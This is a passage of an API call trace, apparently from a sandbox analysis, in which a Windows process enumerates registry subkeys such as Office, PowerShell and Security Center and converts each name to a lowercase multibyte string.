[0180.188] RegEnumKeyW (in: hKey=0x24, dwIndex=0x42, lpName=0x49b930, cchName=0x104 | out: lpName="MSOSOAP") returned 0x0 [0180.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msosoap", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msosoap", cchWideChar=7, lpMultiByteStr=0x49c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msosoap", lpUsedDefaultChar=0x0) returned 7 [0180.188] RegEnumKeyW (in: hKey=0x24, dwIndex=0x43, lpName=0x49b930, cchName=0x104 | out: lpName="MSSearch36") returned 0x0 [0180.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssearch36", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssearch36", cchWideChar=10, lpMultiByteStr=0x49c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssearch36", lpUsedDefaultChar=0x0) returned 10 [0180.189] RegEnumKeyW (in: hKey=0x24, dwIndex=0x44, lpName=0x49b930, cchName=0x104 | out: lpName="MSSQLServer") returned 0x0 [0180.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssqlserver", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssqlserver", cchWideChar=11, lpMultiByteStr=0x49c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssqlserver", lpUsedDefaultChar=0x0) returned 11 [0180.189] RegEnumKeyW (in: hKey=0x24, dwIndex=0x45, lpName=0x49b930, cchName=0x104 | out: lpName="Multimedia") returned 0x0 [0180.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x49c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="multimedia", lpUsedDefaultChar=0x0) returned 10 [0180.189] RegEnumKeyW (in: hKey=0x24, dwIndex=0x46, lpName=0x49b930, cchName=0x104 | out: lpName="NapServer") returned 0x0 [0180.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napserver", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0180.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napserver", cchWideChar=9, lpMultiByteStr=0x49c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="napserver", lpUsedDefaultChar=0x0) returned 9 [0180.189] RegEnumKeyW (in: hKey=0x24, dwIndex=0x47, lpName=0x49b930, cchName=0x104 | out: lpName="NET Framework Setup") returned 0x0 [0180.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="net framework setup", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0180.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="net framework setup", cchWideChar=19, lpMultiByteStr=0x49c0d8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="net framework setup", lpUsedDefaultChar=0x0) returned 19 [0180.189] RegEnumKeyW (in: hKey=0x24, dwIndex=0x48, lpName=0x49b930, cchName=0x104 | out: lpName="NetSh") returned 0x0 [0180.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netsh", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0180.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netsh", cchWideChar=5, lpMultiByteStr=0x49c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netsh", lpUsedDefaultChar=0x0) returned 5 [0180.189] RegEnumKeyW (in: hKey=0x24, dwIndex=0x49, lpName=0x49b930, cchName=0x104 | out: lpName="Network") returned 0x0 [0180.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x49c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="network", lpUsedDefaultChar=0x0) returned 7 [0180.190] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4a, lpName=0x49b930, cchName=0x104 | out: lpName="NetworkAccessProtection") returned 0x0 [0180.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="networkaccessprotection", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0180.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="networkaccessprotection", cchWideChar=23, lpMultiByteStr=0x49c120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="networkaccessprotection", lpUsedDefaultChar=0x0) returned 23 [0180.190] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4b, lpName=0x49b930, cchName=0x104 | out: lpName="Non-Driver Signing") returned 0x0 [0180.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="non-driver signing", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0180.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="non-driver signing", cchWideChar=18, lpMultiByteStr=0x49c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="non-driver signing", lpUsedDefaultChar=0x0) returned 18 [0180.190] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4c, lpName=0x49b930, cchName=0x104 | out: lpName="Notepad") returned 0x0 [0180.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x49c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="notepad", lpUsedDefaultChar=0x0) returned 7 [0180.190] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4d, lpName=0x49b930, cchName=0x104 | out: lpName="ODBC") returned 0x0 [0180.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0180.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0x49c0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="odbc", lpUsedDefaultChar=0x0) returned 4 [0180.190] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4e, lpName=0x49b930, cchName=0x104 | out: lpName="Office") returned 0x0 [0180.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0180.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x49c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="office", lpUsedDefaultChar=0x0) returned 6 [0180.190] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4f, lpName=0x49b930, cchName=0x104 | out: lpName="OfficeSoftwareProtectionPlatform") returned 0x0 [0180.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="officesoftwareprotectionplatform", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0180.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="officesoftwareprotectionplatform", cchWideChar=32, lpMultiByteStr=0x49c0d8, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="officesoftwareprotectionplatform", lpUsedDefaultChar=0x0) returned 32 [0180.190] RegEnumKeyW (in: hKey=0x24, dwIndex=0x50, lpName=0x49b930, cchName=0x104 | out: lpName="Ole") returned 0x0 [0180.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ole", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0180.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ole", cchWideChar=3, lpMultiByteStr=0x49c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ole", lpUsedDefaultChar=0x0) returned 3 [0180.191] RegEnumKeyW (in: hKey=0x24, dwIndex=0x51, lpName=0x49b930, cchName=0x104 | out: lpName="Outlook Express") returned 0x0 [0180.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook express", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0180.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook express", cchWideChar=15, lpMultiByteStr=0x49c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="outlook express", lpUsedDefaultChar=0x0) returned 15 [0180.191] RegEnumKeyW (in: hKey=0x24, dwIndex=0x52, lpName=0x49b930, cchName=0x104 | out: lpName="PLA") returned 0x0 [0180.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0180.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0x49c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pla", lpUsedDefaultChar=0x0) returned 3 [0180.191] RegEnumKeyW (in: hKey=0x24, dwIndex=0x53, lpName=0x49b930, cchName=0x104 | out: lpName="PowerShell") returned 0x0 [0180.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="powershell", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="powershell", cchWideChar=10, lpMultiByteStr=0x49c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="powershell", lpUsedDefaultChar=0x0) returned 10 [0180.191] RegEnumKeyW (in: hKey=0x24, dwIndex=0x54, lpName=0x49b930, cchName=0x104 | out: lpName="Print") returned 0x0 [0180.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="print", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0180.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="print", cchWideChar=5, lpMultiByteStr=0x49c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="print", lpUsedDefaultChar=0x0) returned 5 [0180.191] RegEnumKeyW (in: hKey=0x24, dwIndex=0x55, lpName=0x49b930, cchName=0x104 | out: lpName="RADAR") returned 0x0 [0180.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="radar", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0180.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="radar", cchWideChar=5, lpMultiByteStr=0x49c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="radar", lpUsedDefaultChar=0x0) returned 5 [0180.191] RegEnumKeyW (in: hKey=0x24, dwIndex=0x56, lpName=0x49b930, cchName=0x104 | out: lpName="Ras") returned 0x0 [0180.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0180.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras", cchWideChar=3, lpMultiByteStr=0x49c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras", lpUsedDefaultChar=0x0) returned 3 [0180.192] RegEnumKeyW (in: hKey=0x24, dwIndex=0x57, lpName=0x49b930, cchName=0x104 | out: lpName="RAS AutoDial") returned 0x0 [0180.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x49c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras autodial", lpUsedDefaultChar=0x0) returned 12 [0180.192] RegEnumKeyW (in: hKey=0x24, dwIndex=0x58, lpName=0x49b930, cchName=0x104 | out: lpName="Reliability Analysis") returned 0x0 [0180.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reliability analysis", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0180.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reliability analysis", cchWideChar=20, lpMultiByteStr=0x49c120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reliability analysis", lpUsedDefaultChar=0x0) returned 20 [0180.192] RegEnumKeyW (in: hKey=0x24, dwIndex=0x59, lpName=0x49b930, cchName=0x104 | out: lpName="RemovalTools") returned 0x0 [0180.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="removaltools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="removaltools", cchWideChar=12, lpMultiByteStr=0x49c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="removaltools", lpUsedDefaultChar=0x0) returned 12 [0180.192] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5a, lpName=0x49b930, cchName=0x104 | out: lpName="RendezvousApps") returned 0x0 [0180.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rendezvousapps", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0180.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rendezvousapps", cchWideChar=14, lpMultiByteStr=0x49c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rendezvousapps", lpUsedDefaultChar=0x0) returned 14 [0180.192] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5b, lpName=0x49b930, cchName=0x104 | out: lpName="Router") returned 0x0 [0180.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="router", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0180.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="router", cchWideChar=6, lpMultiByteStr=0x49c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="router", lpUsedDefaultChar=0x0) returned 6 [0180.192] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5c, lpName=0x49b930, cchName=0x104 | out: lpName="Rpc") returned 0x0 [0180.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0180.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpc", cchWideChar=3, lpMultiByteStr=0x49c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rpc", lpUsedDefaultChar=0x0) returned 3 [0180.192] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5d, lpName=0x49b930, cchName=0x104 | out: lpName="SchedulingAgent") returned 0x0 [0180.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedulingagent", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0180.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedulingagent", cchWideChar=15, lpMultiByteStr=0x49c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schedulingagent", lpUsedDefaultChar=0x0) returned 15 [0180.193] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5e, lpName=0x49b930, cchName=0x104 | out: lpName="Schema Library") returned 0x0 [0180.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schema library", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0180.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schema library", cchWideChar=14, lpMultiByteStr=0x49c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schema library", lpUsedDefaultChar=0x0) returned 14 [0180.193] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5f, lpName=0x49b930, cchName=0x104 | out: lpName="Security Center") returned 0x0 [0180.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security center", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0180.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security center", cchWideChar=15, lpMultiByteStr=0x49c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security center", lpUsedDefaultChar=0x0) returned 15 [0180.193] RegEnumKeyW (in: hKey=0x24, dwIndex=0x60, lpName=0x49b930, cchName=0x104 | out: lpName="Sensors") returned 0x0 [0180.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensors", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensors", cchWideChar=7, lpMultiByteStr=0x49c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sensors", lpUsedDefaultChar=0x0) returned 7 [0180.193] RegEnumKeyW (in: hKey=0x24, dwIndex=0x61, lpName=0x49b930, cchName=0x104 | out: lpName="Shared") returned 0x0 [0180.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0180.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x49c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared", lpUsedDefaultChar=0x0) returned 6 [0180.193] RegEnumKeyW (in: hKey=0x24, dwIndex=0x62, lpName=0x49b930, cchName=0x104 | out: lpName="Shared Tools") returned 0x0 [0180.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x49c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools", lpUsedDefaultChar=0x0) returned 12 [0180.239] RegEnumKeyW (in: hKey=0x24, dwIndex=0x63, lpName=0x49b930, cchName=0x104 | out: lpName="Shared Tools Location") returned 0x0 [0180.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools location", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0180.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools location", cchWideChar=21, lpMultiByteStr=0x49c0d8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools location", lpUsedDefaultChar=0x0) returned 21 [0180.239] RegEnumKeyW (in: hKey=0x24, dwIndex=0x64, lpName=0x49b930, cchName=0x104 | out: lpName="SideShow") returned 0x0 [0180.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x49c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sideshow", lpUsedDefaultChar=0x0) returned 8 [0180.240] RegEnumKeyW (in: hKey=0x24, dwIndex=0x65, lpName=0x49b930, cchName=0x104 | out: lpName="SnippingTool") returned 0x0 [0180.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snippingtool", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snippingtool", cchWideChar=12, lpMultiByteStr=0x49c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="snippingtool", lpUsedDefaultChar=0x0) returned 12 [0180.240] RegEnumKeyW (in: hKey=0x24, dwIndex=0x66, lpName=0x49b930, cchName=0x104 | out: lpName="Software") returned 0x0 [0180.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x49c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0180.240] RegEnumKeyW (in: hKey=0x24, dwIndex=0x67, lpName=0x49b930, cchName=0x104 | out: lpName="Speech") returned 0x0 [0180.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0180.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x49c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="speech", lpUsedDefaultChar=0x0) returned 6 [0180.240] RegEnumKeyW (in: hKey=0x24, dwIndex=0x68, lpName=0x49b930, cchName=0x104 | out: lpName="SQMClient") returned 0x0 [0180.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0180.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x49c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sqmclient", lpUsedDefaultChar=0x0) returned 9 [0180.240] RegEnumKeyW (in: hKey=0x24, dwIndex=0x69, lpName=0x49b930, cchName=0x104 | out: lpName="Sync Framework") returned 0x0 [0180.240] WideCharToMultiByte (in: 